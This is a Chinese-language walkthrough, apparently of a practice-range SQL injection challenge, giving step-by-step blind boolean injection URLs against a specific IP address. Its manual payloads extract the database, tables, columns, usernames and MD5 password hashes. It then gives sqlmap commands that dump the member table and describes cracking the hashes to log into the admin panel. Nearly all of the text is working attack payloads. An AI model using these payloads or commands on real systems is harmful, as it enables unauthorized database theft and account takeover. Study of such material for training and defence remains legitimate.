手工注入
- 判断注入点
http://219.153.49.228:44957/new_list.php?id=1 and 1=1
http://219.153.49.228:44957/new_list.php?id=1 and 1=2
- MySQL版本
http://219.153.49.228:44957/new_list.php?id=1 and substring(version(),1,1)=1
- 爆库
库长——长度为10
http://219.153.49.228:44957/new_list.php?id=1 and length((database()) = 1
库字符——stormgroup
http://219.153.49.228:44957/new_list.php?id=1 and substring(database(),1,1) = 'a'
- 表
表长——共2个表,长度都为6
http://219.153.49.228:44957/new_list.php?id=1 and length((select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1 )) = 6
表字符——number,notice
http://219.153.49.228:44957/new_list.php?id=1 and substring((select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1 ),1,1) = 'm'
- 列
列长——共3个列,分别为4,8,6
http://219.153.49.228:44957/new_list.php?id=1 and length((select column_name from information_schema.columns where table_name='member' and table_schema='stormgroup' limit 0,1))=4
列字符——name,password,status
http://219.153.49.228:44957/new_list.php?id=1 and substring((select column_name from information_schema.columns where table_name='member' and table_schema='stormgroup' limit 0,1),1,1)='n'
- 字段
字段长——name为5,password为32
http://219.153.49.228:44957/new_list.php?id=1 and length((select concat(name) from stormgroup.member limit 1,1))=5
http://219.153.49.228:44957/new_list.php?id=1 and length((select concat(password) from stormgroup.member limit 1,1))=32
字段字符——name = mozhe,password = 3114b433dece9180717f2b7de56b28a3(528469)或d0ac5d1ed5b095895e780c8081182111(482513)
http://219.153.49.228:44957/new_list.php?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109
http://219.153.49.228:44957/new_list.php?id=1 and ascii(substr((select concat(password) from stormgroup.member limit 0,1),1,1))=51
工具注入
- 爆数据库名:
sqlmap -u "http://219.153.49.228:41621/new_list.php?id=1" --dbs
- 爆表:
sqlmap -u "http://219.153.49.228:41621/new_list.php?id=1" -D stormgroup --tables
- 爆字段:
sqlmap -u "http://219.153.49.228:41621/new_list.php?id=1" -D stormgroup -T member --columns
- 爆值:
sqlmap -u "http://219.153.49.228:41621/new_list.php?id=1" -D stormgroup -T member -C "name,password" --dump
- 直接尝试用dump的name和password登录,发现不行,最后才知道password经过MD5加密,在线解密后登录(第二个),即可在后台拿到key: